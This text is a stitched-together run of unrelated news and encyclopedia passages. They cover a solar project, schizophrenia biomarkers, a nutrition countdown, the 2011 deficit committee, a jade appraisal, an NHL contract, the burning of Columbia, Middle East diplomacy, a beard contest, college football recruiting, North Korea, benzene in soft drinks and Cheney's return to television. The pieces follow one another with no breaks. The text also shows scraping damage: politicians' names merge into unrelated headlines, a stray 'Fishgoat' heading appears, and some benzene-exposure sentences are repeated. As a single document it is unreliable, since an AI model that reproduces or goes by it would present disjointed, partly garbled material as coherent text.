The California Flats solar project, in a remote region of southeastern Monterey County known as the Cholame Valley, was approved by the county’s planning commission last month in a unanimous vote, and county supervisors were scheduled to give final approval Tuesday afternoon. Some activists fought the project on grounds that it would endanger protected species including the San Joaquin kit fox, California tiger salamander, California red-legged frog, bald eagle and others.
Construction on the project is expected to begin by the middle of this year and be completed by the end of 2016, with PG&E contracted to receive the remaining 150 megawatts the farm will produce, First Solar announced.
Because schizophrenia is a psychiatric disorder, it was previously believed that the signs of the illness would be contained only within the brain. However, the team at the Cambridge Institute for Psychiatric Research, led by Sabine Bahn, has identified genetic markers of the disorder in cell division, the immune system, and glucose metabolism. They have found that one of the best peripheral indicators of schizophrenia is a systemic problem in protein expression in the skin cells of the patient's arms.
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According to Bahn:
"It's clear that schizophrenia has a very strong genetic component. Most genes are not used only in the brain. If there is an underlying abnormality at the genetic level that leads to pathology in the brain, the assumption can be made that there should also be dysregulation in the peripheral system. It may not lead to pathology, but it may reflect the pathology in the brain."
The researchers estimate that about 40% of the changes seen in the brains of schizophrenics can be observed elsewhere in their bodies. Although Bahn originally focused on skin cells, she has now shifted to immune cells, which are closer in function to the neurons of the brain. She hopes this will better clarify just how the genetic and psychiatric components of schizophrenia interact.
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The main caveat with this study that independent researchers have raised is that these peripheral indicators might not do much to improve our understanding of the root causes of the disorder. However, even if the theoretical implications of this work proves somewhat limited, Bahn hopes the practical implications will be enormous:
Bahn nevertheless believes peripheral-cell-based diagnostics will be useful. She and her coworkers have identified schizophrenia biomarkers in serum, and working with the company Rules-Based Medicine, located in Austin, Texas, and Lake Placid, N.Y., she expects that a serum-based test to aid in the diagnosis of schizophrenia will be launched sometime this year. "We've identified a signature of numerous protein biomarkers, which give a very high sensitivity and specificity," Bahn says. "We've looked at hundreds of samples from patients and controls and other disorders that are related to schizophrenia."
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Currently, it can take several years to definitively diagnose a patient as schizophrenic. These new tests could reduce that figure dramatically. A schizophrenic's long-term well-being can be substantially improved with early detection of the condition.
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10. Say goodbye to trans fats
Your donut is about to get a little bit healthier. In early November, the Food and Drug Administration (FDA) took the first step toward potentially banning trans fats from U.S. foods.
Trans fats are a byproduct of partially hydrogenated oils (PHOs), which are created by bubbling hydrogen gas through oil under certain conditions. What results are liquid oils that turn into fats of varying thickness and can provide better texture for certain foods. Since the 1950s, these fats have also helped to extend the shelf life of many processed products.
But based on evidence that trans fats are linked to heart disease, the FDA concluded that PHOs are no longer “generally recognized as safe” (GRAS). If the determination holds, trans fats will no longer be legally allowed in the U.S. food supply.
9. Introducing Satisfries, the world’s first healthy (sort of) French fry
In an effort to provide healthier fare for consumers—without turning them off—Burger King developed Satisfries, a new brand of crinkle cut French fries with 40% less fat and 30% fewer calories than the chain’s normal fried spuds. The secret? Burger King developed a new batter that’s less porous, and absorbs less oil when deep-fried. How do they taste? They maintain the same salty, crispy goodness of a good fry, but without the extra grease.
8. We are getting closer to guilt-free chocolate
Chocoholics rejoice! Researchers from the University of Warwick in Britain are developing a chocolate with 50% the fat, but the same great taste as the regular kind. What’s replacing the fat? Fruit juice, vitamin C, water, and even diet coke. The process of infusing this concoction, called Pickering emulsion, allows food scientists to replace the fats from cocoa butter and milk with tiny droplets of juice that are less than 30 micrometers in diameter. The emulsion keeps the juice droplets from merging together into large drops, and maintains the structure and “mouth feel” of the fat, which means it still tastes and creamy as the real thing.
7. Expiration date confusion: Why we are throwing out so much food
Did you know you can still eat eggs 5 days after the purchase-by date? Or that a box of mac-and-cheese with a ‘use-by’ date of April 2013 will taste the same in 2014? Probably not, because the majority of Americans take expiration dates literally. But according to a new report from the Natural Resources Defense Council (NRDC) and Harvard Law School’s Food Law and Policy Clinic, more than 90% of Americans throw out food too early, and 40% of the U.S. food supply is thrown away unused every year because of food dating confusion. Expiration dates aren’t an alert for when foods go bad – instead, they are merely an indication of freshness, for when manufacturers believe their product is at its best.
6. Fishgoat: Stop blaming fish as major source of mercury exposure
Pregnant women know to avoid eating fish, especially those from deep ocean waters, since they tend to be high in mercury that can harm the brain of their fetus. But researchers at the University of Bristol questioned that advice; after examining 103 food and beverage items consumed by 4,484 women during pregnancy, the scientists reported that fish may account for only 7% of dietary mercury in the human body. Instead of avoiding fish all together, the researchers say that choosing fish at the lower end of the mercury spectrum, like light tuna, may make more sense.
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5. Don’t waste your money: Vitamins and supplements don’t prevent chronic disease
Americans spend about $12 billion every year on vitamin and supplements, but research shows that healthy people probably shouldn’t bother.
The U.S. Preventive Services Task Force studied all the available evidence on the effects of vitamins, minerals and supplements, and concluded that for most, there is not enough evidence to determine whether the pills can lower risk of heart disease or cancer. When it comes to beta-carotene (found in carrots and tomatoes) and vitamin E, there’s actually no evidence that they’re protective against heart disease or cancer. Omega-3 fatty acids may also not be as beneficial as some manufacturers claim for improving brain function.
Although more research is needed to determine whether supplements are truly useless, the best way to take advantage of the healthy perks of nutrients is to get them naturally — by eating a healthy and balanced diet, that includes like fruits, vegetables, and lean proteins.
4. We don’t care about calorie labels, but industry does
In the new year, restaurant chains in the U.S. with over 20 locations will be required to post their calories counts on menus as part of the Patient Protection and Affordable Care Act. Some venues, such as Starbucks, have already started adding the information to its beverages and pastries at over 11,000 locations.
But how useful will the numbers be in helping Americans curb our calories? The research isn’t encouraging; calorie counts don’t seem to impact eating habits in a significant way. In a study published in the American Journal of Public Health, researchers recruited over 1100 McDonald’s customers in New York City who handed over their receipts for review, and they revealed that even when customers are educated about calories and how much they should be eating in a day, they still over-order.
So what’s the point? Even if consumers don’t care, the food industry does, and major fast food chains like McDonald’s, Wendy’s and Applebee’s are starting to serve more lower-calorie options. Hopefully, with more of these choices, consumers will start to change their eating habits too.
3. Ditch the pills, hit the gym
If you needed any more convincing, there’s more evidence that when it comes to preventing certain diseases, such as diabetes high blood pressure, eating well and breaking a sweat are better than taking medications. A study published in the Annals of Internal Medicine found that among a group of people with prediabetes, those who made over their diets, got daily exercise, quit smoking and managed their stress lowered their glucose levels so much that they didn’t progress on to type 2 diabetes.Prescription drugs may seem like an easy fix to chronic diseases, but they do nothing to change what’s causing the illness in the first place. And in some cases, the medications may even cause more problems in the form of side effects. It’s not that prescription medicines aren’t doing their job, or that they’re not important to modern medicine. They do, and they are effective in managing symptoms once they emerge. But if it’s possible to avoid disease altogether, and if patients can do it without expensive medications that can cause complications, why wouldn’t they?
2. Stretching the truth
Two studies seriously questioned the benefits of stretching before exercise, something many trainers have been recommending against for years. One study from a team at the University of Zagreb reviewed 104 studies of people who did static stretching to warm-up and reported that stretching lowered their muscle strength by 5.5%. A second study of fit men completing basic squats while lifting barbells found that stretchers lifted 8.3% less weight than those who did not loosen up beforehand. Static stretching, which involves slowly moving the muscles to the point where they start to hurt and then briefly holding that position—does not prevent injuries, the studies show, and can sometimes impair strength and speed. Most trainers suggest only a light brief stretch before a run or workout and spending more time on recovery stretching afterward.
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1. Exercise during pregnancy boosts babies’ brains
Moms who remain fit while pregnant may be doing their babies’ brains a favor.
Researchers at the University of Montreal stuck 124 electrodes on the heads of babies who were only a couple of days old and found that women who were randomly asked to exercise and stay fit while pregnant had babies with more active brains eight to 12 days after they were born compared to moms who didn’t break a sweat.
Not only were their brains more active after birth, but the scientists continued to monitor the infants’ brains while they slept, and found that those whose mothers exercised more were better able to process repeated sounds, a sign of more mature brain functions.
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The Standard and Poor's building in New York, August 2, 2011. REUTERS/Brendan McDermid
The panel — whose 12 members must be named within one week — was expected to do the bare minimum required of it, then kick the truly tough tax and entitlement reform issues down the road into 2012 and 2013, aides and analysts said on Monday.
The committee’s direction will largely be set within days by the selection of its members, a job left up to congressional leaders seen as intent on naming loyalists who will not divert from party doctrines. Early favorites were starting to emerge.
Republicans were talking up Senator Rob Portman, who was a top Bush administration budget official, as an appointee.
Congressional aides and lobbyists said Portman, who headed President George W. Bush’s Office of Management and Budget in 2006 and 2007, is loyal and knows the budget and the tax code.
“He’ll hold the line on key GOP priorities, but do it in the most reasonable and agreeable way,” one lobbyist said.
The panel is tasked with finding an additional $1.5 trillion in budget savings by November 23. Its recommendations must be voted on by Congress by December 23. If either deadline goes unmet, automatic spending cuts are triggered in 2013.
The Standard & Poor’s downgrade of U.S. debt last week “will certainly place added pressure on the committee to tackle tax and entitlement reform,” said FBR Capital Markets policy analyst Ed Mills.
But like other analysts, he forecast that the likeliest outcome will be for the panel to hit its minimum budget savings target to avoid triggering automatic spending cuts.
“S&P’s downgrading of the United States’ credit score from AAA to AA+ on Friday night has triggered a political firestorm,” said MF Global policy analyst Chris Krueger.
The super committee has “an even larger spotlight now,” he said. “The membership of the 12-person committee will be the best leading indicator of what to expect when the deficit reduction recommendations are due at Thanksgiving.”
The 12-member panel will have six Republicans and six Democrats — half from the Senate; half from the House.
Demands were also building for an open process in the deficit panel, which is expected be the most heavily lobbied body in Washington over the next four months and a potential gold mine of campaign donations for its members.
Senate Republicans filed bills that would require lawmakers to disclose campaign contributions more quickly while they are panel members, and to make panel meetings open to the public.
The senior leaders of both chambers — Senate Democratic Leader Harry Reid, Senate Republican Leader Mitch McConnell, House Speaker John Boehner and House Democratic Leader Nancy Pelosi — are very unlikely to serve on the panel, aides said.
But they will pick its members and rumors were flying in and around their offices about front-runners.
‘GANG OF SIX’ OFF THE LIST?
Republicans who were part of the Senate’s bipartisan “Gang of Six” earlier this year were seen as unlikely to be named. This group in mid-July offered an ambitious but failed $3.75 trillion deficit reduction plan including tax code changes that hard-line Republicans viewed as unacceptable.
If the “gang” is “off the list” of Republican contenders for the panel, as some say, then Republican senators Tom Coburn, Mike Crapo and Saxby Chambliss would not be named.
Some aides saw Senator Jeff Sessions, the top Budget Committee Republican, as a contender.
In the House of Representatives, aides pointed to Democratic Party stalwarts Chris Van Hollen, James Clyburn and Xavier Becerra as possible appointees, as well as Allyson Schwartz, a senior budget committee member.
The collection -- jade pieces from China's Chien Lung reign from 1736-1795 -- belong to an unidentified woman who arrived early at the Saturday taping in Raleigh, N.C., of the popular PBS show, The News & Observer in Raleigh reported Sunday.
The woman told the appraiser the pieces belonged to her father, a military liaison to China in the 1930s and '40s, show officials said.
Asian art appraiser James Callahan, who examined the four pieces, said the dealer steered her father to quality items. The popular PBS series travels cross-country, helping folks assess the value of collectibles and heirlooms.
"The dealer selected very fine pieces," he said. "I've never seen anything like it."
Callahan says the value of the pieces depends on the market for them in China and that the Chinese government often wants to get such pieces back.
Americans take it for granted, but the first thing that strikes a visitor is that this is a country where fundamental questions are constantly aired, argued and litigated over - the size of government and the limits of its power, the meaning of equality under the law, when life begins, you name it. It is hardly surprising in this protean atmosphere that there should be a good deal of rancour. But it's unique and invigorating too. It is in fact a breath of fresh air after the soggy centralist consensus that usually prevails in Britain and much of Western Europe. The Englishman in me sometimes misses the sober and authoritative tones of the taxpayer-funded BBC. But he's also excited by the vigour of the highly partisan cable networks. Yes, much of their output is tendentious, unbalanced or downright mendacious. Yet I wonder whether they they don't occasionally conjure up some of the excitement of the polemical 18th-century pamphleteers.
Player contracts can do a lot for a player before they even hit the ice. It shows how much they contribute to the overall team’s cap and, in some ways, how valued they are. Unfortunately, there’s another thing that contract’s do, which has been seen when it comes to the Montreal Canadiens. How much a player makes may also create expectations.
It’s not just by position or point totals in how a player is categorized. It can also be by how much they make. The way you think of someone who makes say $7 million a season is different from someone who makes $1 million.
This is how expectations can go wrong. Team’s are always overpaying on Free Agent Frenzy. Because of that, players who should be making a certain amount of money per season, usually make an extra million or two. However most fans don’t consider that, they see the value and make their own judgements.
The Montreal Canadiens signed Karl Alzner to a five-year deal on July 1st worth $4.625 million per season. That’s a $1.825 million raise from his last contract. Because of the cap hit, there may be some who will expect more from the 28-year-old.
It’s always in a player’s best interest to improve each year, but for Alzner to be the best he can be for the Canadiens, he has to stay exactly the way he is.
Don’t Change Alzner
The veteran defenceman finished last season with three goals and ten assists with the Washington Capitals. That was seven fewer points than he had the previous year. Some fans may look at his new cap-hit and think that he needs to produce more. They may hop onto Capfriendly.com and notice that his closest contract comparable is Jason Demers who finished with 28 points.
They may even completely forget that Alzner is a shutdown defenceman and doesn’t go for the points. The fact of the matter is that the Montreal Canadiens brought him on to stabilize the blue-line. Head coach Claude Julien was able to decrease scoring chances given up when he was hired, and Alzner should be able to push that notion further.
Alzner isn’t the defenceman that you notice. In fact, the best thing about his gameplay is that you rarely notice him at all. He does the little things to ensure that the other team doesn’t get a chance to score.
#NHL defensemen: Blocked shots over past three seasons Russell 706
Girardi 545
Alzner 534
Beauchemin 519
de Haan 518
Josi 513
Giordano 505 pic.twitter.com/qyvvC280M5 — The Hockey News (@TheHockeyNews) September 1, 2017
Julien will probably start the season with Alzner playing with Shea Weber. If that happens, he can let his partner worry about the offence and physicality. It’ll be the same if he ends up playing with Jeff Petry on the second pair.
The most important thing for him is to not think that he has to do more. I’m sure Canadiens’ management has already sold this point to him already. It’s the players that do too much after signing a new deal that seem to fall off the following year.
He definitely wouldn’t want that to happen. Then Montreal Canadiens fans would really have a reason to say that he’s overpaid.
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But amid the carnage and flames, numerous acts of compassion also occurred.
Lt. John McQueen: Lt. John McQueen, 15th Illinois Cavalry, saved Dr. A. Toomer Porter’s house, located near then-South Carolina College’s Horseshoe, from destruction by guarding it.
When the grateful resident offered him a silver mug, McQueen refused for fear that people might think he stole it. However, McQueen did accept a letter of introduction, addressed to Confederate Lt. Gen. Wade Hampton III, in case he was captured.
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“Let me entreat you to show (Lt. McQueen) every kindness in your power,” Porter wrote.
Sure enough, McQueen was wounded and captured. Upon reading the note, Hampton had the Union officer sent back to Porter’s home for treatment and recuperation. Then, McQueen was delivered back to Union lines by carriage, instead of being held as a prisoner of war
RELATED: Who burned Columbia? A special report.
Although Union soldiers set numerous fires, burned houses and help spread the blazes, many others helped fight the fires, guarded private homes, attempted to reel in drunken rioters and protected private property. Many Union soldiers took pity on civilians or on enemies in helpless conditions, volunteered at hospitals or engaged in other acts of kindness.
Also, Union Gen. John W. Geary forced-marched his men to Winnsboro to run out undisciplined elements of the Union army and put out the fires there, preventing another Columbia.
Union and Confederate medical personnel worked together to put out the burning embers that were threatening the wooden roofs of the buildings on the Horseshoe, which were housing wounded from both sides. Their action helped saved the college’s historic campus.
Enslaved people: Hundreds of small acts of compassion went unrecorded, carried out by enslaved people who refrained from exploiting their former masters. Some protected their property, hid valuables, and shielded women and children from intimidation.
Family lore says Cecilia Mann of Mann-Simmons Cottage fame, a formerly enslaved midwife from Charleston, hid white families in the basement of her house and buried their valuables in her yard.
Mansion saved: After the Ursuline Convent burned — it was located where the Tapp’s Building is today on Main — Sherman offered Mother Superior Mary Batista the opportunity to choose some property to replace her destroyed convent. She chose the Hampton-Preston Mansion, which Union Gen. John A Logan had used as his headquarters, then prepared to burn it.
After Batista selected it as the refuge for her nuns and their orphan charges, the mansion was saved. It can be toured today as part of Historic Columbia Historic Homes museums.
Fire truck donation and reciprocation: Much of the city’s firefighting equipment as well as its downtown fire station were destroyed in the blaze that consumed much of the city.
Two years after the fire, even though tremendous animosity remained between North and South, New York firefighters raised money to buy a carriage and other equipment. They also built a new fire station, which now houses Villa Tronco restaurant, from the chimney brick of burned Columbia buildings.
Former Confederate Col. Samuel Melton told New Yorkers that “should misfortune ever be yours,” he hoped Columbia would “obey that Golden Rule by which you have been prompted in the performance of this most munificent kindness to a people in distress.”
Nearly a century and a half later, the favor was returned.
Just weeks after the Sept. 11, 2001, terrorist attacks, students at Lexington County’s White Knoll Middle School made news around the world, leading an effort to raise $540,000 to buy a new ladder truck for a Brooklyn firehouse that lost its truck and a seven-member crew when the World Trade Center’s North Tower collapsed.
Senior Adviser David Axelrod criticized the Israeli government for announcing the expansion while Vice President Joe Biden Joseph (Joe) Robinette BidenBannon: 'Zero' doubt Trump will run for reelection Bernie is back with a bang — but can he hold on to his supporters? Klobuchar backs legalizing marijuana MORE was visiting the country, undercutting the VP's mission to set the stage for negotiations.
"We've just gotten proximity, so-called proximity talks going between the Palestinians and the Israelis, and this seemed calculated to undermine that," Axelrod told ABC's "This Week," adding that the announcement was "distressing to everyone who is promoting the idea of peace and security in the region."
Axelrod repeated Secretary of State Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE's comment that the move was an "insult" to the U.S., and said officials have made clear to Israel that "this was not the right way to behave."
Biden was forced to issue a statement condemning the settlements while in Israel meeting with top officials.
No-one is a hundred percent sure when or how the World Beard and Moustache Championship officially began. Some say it was in Italy, while others are adamant it started off in Germany. Either way, Europeans seem to have dominated beard and moustache competitions, until more recently when Austin, Texas took over!
WORLD BEARD AND MOUSTACHE CHAMPIONSHIP
Austin Facial Hair Club hosted the Championship recently. It was a three-day event and when you look at the pictures, you will know why. Some of the most spectacular beards and moustaches were on display, some which you will never be able to un-see again.
Beards and Moustache have become something of a trend of late, especially amongst the hipster community. But these entries have nothing to do with hipsters. They are all about style, elegance, some outrageousness, and a real love and respect for facial hair. And also not to forget, a love for fashion, flair and general fabulosity.
The event is little like a beauty pageant, except – it’s all about the hair! The contestants step on stage in front of the judges and audience, pose, turn from side to side, and then get rated.
Everyone takes the competition very seriously. They have to!
STUPENDOUS BEARDS AND MOUSTACHE
In fact, getting your facial hair ready for the World Beard and Moustache championship takes a long time. There can be months of growing, grooming, trimming, coloring and styling. There can be years too, as you will see from some of the more astonishing entries which are pretty much art installations.
The six-legged starfish beard had the audience gasping. The classic dog-snout beard was not very classic at all. Beards were twirled, curled, pointed, spiked and braided, while some were wild, bushy and even upside down. 😯
While some beards were colored, others were multi-colored. Each contestant dressed up to match his beard and the array of hats, sunglasses, suits and walking sticks was rather beautiful. And of course, earrings, eye-patches and tennis racquets too.
There are lots of different categories, including most cheeky, partial beard, and overall best. Have a look, you’ll be amazed in the hairiest way!
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The 6-foot-, 180-pound cornerback, who can also play receiver, committed to UCF on Sunday evening during a visit to campus with his mom, Kellie.
UCF had not even been in the picture for Moore until late this week and Frost called Moore on Saturday morning to weigh his interest.
"Nah, not at all ... I mean I'd hear from them once in a blue moon," Moore said of UCF's interest, "but then once Coach Frost got the job, he just lit me up."
Moore picked the Knights over USF and Bowling Green, where his brother Ronnie Moore is a junior receiver.
"He woke me up out of my sleep Saturday and he said he really liked my game and loved my film, thought my film was great and he was just talking about what he would have to do to get me to commit," Moore said. "Then he called me today and asked if I could come down."
Kellie Moore, the wife of former Sanford Seminole football coach Ron Moore, talks about learning of her husband's death on the morning of July 21, 2015. Kellie Moore, the wife of former Sanford Seminole football coach Ron Moore, talks about learning of her husband's death on the morning of July 21, 2015. SEE MORE VIDEOS
Moore and his mom weren't even on the UCF campus for two hours before Frost had his third UCF commitment in the past two days. Moore joined Orlando Dr. Phillips receiver Jaquarius Bargnare and Daytona Beach Mainland tailback Adrian Killins as the first three pledges under Frost, who was introduced as the new UCF coach on Wednesday.
"We were talking and he said, 'I'm really looking for guys like you, especially at the cornerback position, and I do play guys both ways.' He said I was 'a very special guy,' " Moore said. "Then he asked if I was interested in them and I said, I'm very interested. You guys just weren't recruiting me.' And he said, 'Well, we're recruiting you now, pretty hard, actually.'
The family of Ron Moore. The family of Ron Moore. SEE MORE VIDEOS
"He said, 'What do you think?' and I said, 'I want to do it.' ... He couldn't believe it. He was happy. He just looked around and he said, 'Wow, I can't believe it. This is a special one. We're going to be great.' "
The commitments from three Central Florida players makes it obvious that Frost wants to keep local talent home. UCF has not had commitments from three Orlando-area players in the same recruiting cycle since 2011. All three players were also heavily considering rival USF, another notch in the Scott Frost cap.
Moore's visit obviously went very well Sunday, and it was a nice way for Moore to put somewhat of a cap on 2015, a year that has been a bit trying for Moore and his family.
He missed spring football while recovering from a torn labrum in his shoulder that had him in a sling for most of the summer, then tragedy hit the family. His father and Sanford Seminole assistant coach, Ron Moore Sr., was murdered in June, gunned down in what police called an apparent drug deal gone bad. Brandon Moore also missed the first game of the regular season and most of August camp with the injury.
Brandon said his dad would have been happy to see him commit to the Knights.
"Oh he'd be happy because he'd be able to watch me since it's just right up here," Moore said.
Kellie Moore said she, too, will be quite happy to have Brandon close to home, but the happiest of the Moore family is probably 12-year-old Cameron, a young prospect in his own right who is in sixth grade.
"I think he's more happy about their coach than he is about Bam going there, because Cameron is a big Oregon fan," Kellie said. "But I think it's good for Bam and they'll be in a bit of a building process for the next few years, so I think that will be fun for him.
"He's happy and so whatever makes him happy, makes me happy."
Moore is the ninth commitment to the 2016 UCF recruiting class and he is ranked as the No. 25 player in the Sentinel's 2016 Central Florida Super60.
He said not only was Frost instrumental in his recruitment, but so were assistant coaches Sean Beckton and Travis Fisher. Frost has hired two coaches as new staff members — Troy Walters from Colorado and Ryan Held of Northeast Oklahoma A&M — to his staff. He has not officially announced who he may keep as holdovers from former coach George O'Leary's staff, of which Beckton and Fisher were both a part.
"I'm really concerned, because I don't know where this goes in terms of a peaceful resolution," retired Adm. Mike Mullen said during an interview with NBC's "Meet the Press."
"It's an incredibly difficult, complex problem."
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Mullen also said there is some "very strong rhetoric" coming from both North Korea and the United States.
"And that rhetoric, it seems to me, has taken away options or its reduced maneuver space, if you will, for leaders to make decisions," he said.
"And if this results in a military strike, the unintended consequences of that, the possibility that there are disproportional responses, miscalculations. It can really get out of control fast."
Formation in soft drinks [ edit ]
The major cause of benzene in soft drinks is the decarboxylation of benzoic acid in the presence of ascorbic acid (vitamin C, E300) or erythorbic acid (a diastereomer of ascorbic acid, E315). Benzoic acid is often added to drinks as a preservative in the form of its salts sodium benzoate (E211), potassium benzoate (E 212), or calcium benzoate (E 213).[1] Citric acid is not thought to induce significant benzene production in combination with benzoic acid, but some evidence[which?] suggests that in the presence of ascorbic or erythorbic acid and benzoic acid, citric acid may accelerate the production of benzene.[citation needed]
The proposed mechanism begins with hydrogen abstraction by the hydroxyl radical, which itself is produced by the Cu2+-catalysed reduction of dioxygen by ascorbic acid:[1]
Other factors that affect the formation of benzene are heat and light. Storing soft drinks in warm conditions speeds up the formation of benzene.
Calcium disodium EDTA and sugars have been shown to inhibit benzene production in soft drinks.[2]
The International Council of Beverages Associations (ICBA) has produced advice to prevent or minimize benzene formation.[3]
Limit standards in drinking water [ edit ]
Various authorities have set limits on benzene content in drinking water. The following limits are given in parts per billion (ppb; μg/kg).
The EPA and California have set public health goals for benzene of 0 ppb and 0.15 ppb.[6]
Environmental exposure to benzene [ edit ]
Benzene in soft drinks has to be seen in the context of other environmental exposure. Taking the worst example found to date of a soft drink containing 87.9 ppb benzene,[4] someone drinking a 350 ml (12 oz) can would ingest 31 μg (micrograms) of benzene, almost equivalent to the benzene inhaled by a motorist refilling a fuel tank for three minutes. While there are alternatives to using sodium benzoate as a preservative, the casual consumption of such a drink is unlikely to pose a significant health hazard to a particular individual (see, for example, the EPA IRIS document on benzene[7]).
The UK Food Standards Agency has stated that people would need to drink at least 20 litres (5.5 gal) per day of a drink containing benzene at 10 μg to equal the amount of benzene they would breathe from city air every day.[8] Daily personal exposure to benzene is determined by adding exposure from all sources.
Air: A European study found that people breathe in 220 μg of benzene every day due to general atmospheric pollution. A motorist refilling a fuel tank for three minutes would inhale a further 32 μg. [9] [10] The estimated daily exposure from "automobile-related activities" is 49 μg and for driving for one hour is 40 μg. [8]
The estimated daily exposure from "automobile-related activities" is 49 μg and for driving for one hour is 40 μg. Smoking: For smokers, cigarette smoking is the main source of exposure to benzene. Estimates are 7900 μg per day (smoking 20 cigarettes per day), [9] 1820 μg/day, and 1800 µg/day. [8]
1820 μg/day, and 1800 µg/day. Passive smoking: Benzene intake from passive smoking is estimated at 63 μg/day (Canada) and 50 µg/day. [8]
Diet and drinking water: 0.2 to 3.1 μg per day.[8]
History [ edit ]
1990s [ edit ]
In 1990, a study reported having found benzene in bottles of Perrier for sale in the United States, resulting in a voluntary product recall.[11][12]
In the early 1990s, the soft drink industry initially approached FDA with concerns about benzene formation in soft drinks. Following testing, FDA asked manufacturers to voluntarily reformulate. By 1993, FDA determined that most drinks had little benzene contamination.[13]
In 1993, research showed how benzene can form from benzoic acid in the presence of vitamin C.[1][14]
In the summer of 1998, a number of well known soft drinks manufacturers had to withdraw large quantities of their products from sale after benzene contamination in some production plants was discovered.[15]
2005 [ edit ]
In November 2005, the FDA received test results conducted by private citizens that benzene was forming at low levels in several types of beverages.[16]
In December 2005, Germany's Federal Institute for Risk Assessment (Bundesinstitut für Risikobewertung) published a review of benzene's possible formation in foods and drinks.[17]
2006 [ edit ]
In February 2006, an unnamed former chemist at the FDA publicly revealed that benzene may be created as part of a chemical reaction during production of soft drinks, particularly those having an orange flavor.[18] Full-scale investigations immediately started at the Food Standards Agency (UK) and in Germany to reveal exactly which amounts of benzene, if any, were present, with several other organizations awaiting their findings.[19]
The United Kingdom's Food Standards Agency released results on March 31, 2006 for 150 beverages.[9] Its results showed 43 beverages contained benzene, four of which contained levels above the World Health Organization drinking water standards (10 ppb). These four were withdrawn from sale.[20][21]
In April 2006, the Korea Food & Drug Administration (KFDA) announced that it had detected benzene in 27 out of 30 (90%) vitamin-enriched drinks on sale in South Korea. It said the detected amount of benzene – ranging from 5.7 to 87.8 ppb – was not harmful to humans but advised manufacturers of beverages containing more than 10 ppb of benzene to voluntarily recall their products.[4]
The FDA released preliminary results[16] in May 2006 for 100 beverages showing that many soft drinks contained low levels of benzene (less than 5 ppb, the federal drinking water limit) while four drinks contained amounts above the standard. Two of these drinks contained amounts 15-18 times above the drinking water standard. Many of the products showed large variations in the amount of benzene they contained. The FDA stated that it is working with manufacturers to reformulate products that contain benzene above the federal drinking water standard.
These test results are both lower and more accurate than a previous long-term study by the FDA. In the Total Diet Study[22] that FDA conducted from 1996 - 2001 to determine the amounts of volatile organic compounds in various foods, FDA used an analytical procedure that caused more benzene to form in the drinks during the test.[23][24]
The FDA emphasized that most beverages contain levels below 5 ppb and pose no risk to consumers. Furthermore, there are no standards for beverages beyond drinking and bottled water. A watchdog organization, the Environmental Working Group, had previously called on the FDA to release its results. The EWG also criticized the FDA for not acting on the Total Diet Study results showing the nearly 80% of the diet soft drinks exceeded the federal drinking water standards.
On 9 June 2006, Health Canada released its study results of benzene levels in beverages. Four products out of 118 had levels above the Canadian guideline of five micrograms per liter for benzene in drinking water (average range 6.0 to 23.0 µg/L). The follow up study the next year found only three samples with marginally higher levels and concluded the average levels were quite low.[25][26]
On 24 August 2006, two soft drink manufacturers agreed to settle a class-action lawsuit that had been filed by a group of parents in the Superior Court of the District of Columbia. The two companies, Zone Brands Inc., maker of "BellyWashers" products, and TalkingRain Beverage Co., denied that their products were harmful, but agreed to change the ingredients in their drinks.[27]
2008 [ edit ]
Coca-Cola announced that it would be phasing out sodium benzoate from many of its drinks, but not Fanta and Sprite.[28] As of August 2012, Coca Cola Zero and Barq's root beer still contains benzoate (added as potassium salt and sodium salt respectively).[29]
Amid the renewed chaos in the country, key figures from George W. Bush’s administration have reemerged in the public spotlight, bringing fresh attention to past mistakes the GOP would rather forget.
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Now, as Republicans eye a Senate majority in an increasingly favorable political climate, Republican strategists say it would be better if the architects of the 2003 invasion of Iraq stayed off television.
“Whenever the conversation is on Iraq, it’s not good news for Republicans,” said John Ullyot, a GOP strategist and former Senate aide. “That’s not helped at all over the last week by a bunch of people who we hadn’t heard from in several years — Republican figures associated with Iraq from the Bush administration — who were suddenly back on major shows discussing the current state of affairs in Iraq.
“It was not a helpful reminder,” he added. “They probably should have stayed off the shows.”
Democrats gleefully welcomed back former Vice President Dick Cheney to the national conversation. They pounced on their familiar punching bag after he wrote an op-ed in the Wall Street Journal slamming Obama’s Iraq policy as a failure and claiming, “rarely has a U.S. president been so wrong about so much at the expense of many.”
Senate Majority Leader Harry Reid Harry Mason ReidBottom Line Brennan fires back at 'selfish' Trump over Harry Reid criticism Trump rips Harry Reid for 'failed career' after ex-Dem leader slams him in interview MORE (D-Nev.) called Cheney “the chief architect of the war” on the Senate floor and declared, “if there is one thing this country does not need, it’s that we should be taking advice from Dick Cheney on wars.
“To the architects of the Iraq war who are now so eager to offer their expert analysis, I say… thanks but no thanks,” Reid added.
Cheney also faced some hostile questioning from Fox News anchor Megyn Kelly.
“[T]ime and time again, history has proven that you got it wrong as well, sir,” she told him in a pointed response to his op-ed.
Steven Smith, a political science professor at Washington University in St. Louis, said there is a risk that the GOP hawks in will come to define the party’s image at a time when the public does not support greater involvement in Iraq.
“The fact that [Cheney] came out swinging the other day is disappointing to some Republicans because it does nothing but encourage people to remember that this was Bush’s war,” he said of the controversial former vice president’s recent public statements.
“So they do risk putting themselves into a position where on one of the few salient issues of the day they’re not on the right side,” he said of the GOP.
It wasn’t just Cheney making the television rounds, but other key players current party strategists would rather forget about.
Paul Bremer, who oversaw the reconstruction of Iraq starting in 2003 as Bush’s envoy, and Paul Wolfowitz, who served as Bush’s deputy defense secretary, received hostile grillings in two recent television interviews.
"A lot of people are watching you right now and they're —they're hearing you give your ideas of what to do. And they're saying, 'but aren't you the guy who got us in this mess?'" CNN’s Erin Burnett asked Bremer.
Bremer disputed Burnett’s sour view of Bush’s legacy in Iraq, arguing it now has the Arab world’s most progressive constitution and has conducted six democratic elections since the U.S. invasion.
CNN host Chris Cuomo called Wolfowitz the “architect” of the war in another interview and said it was unfair for Republicans to blame President Obama for problems in Iraq because Bush made the decision to invade.
But it’s renewed interest in Cheney that could be the most consequential. His daughter was briefly a Senate candidate this year and he’s fundraised for and endorsed candidates, but Republicans are split over whether he reflects well on the GOP because of his close association with the decision to invade Iraq.
“I think there’s a real divided opinion about Vice President Cheney,” said Matt Mackowiak, a Republican strategist and former Senate aide. “In part of the party he’s deeply respected as a serious voice on national security and foreign policy, but there’s also a realization that Iraq was a mess and it cost more than we thought it would.
“It was much tougher than we thought it would be and it didn’t end up as well as we thought it might,” he added.
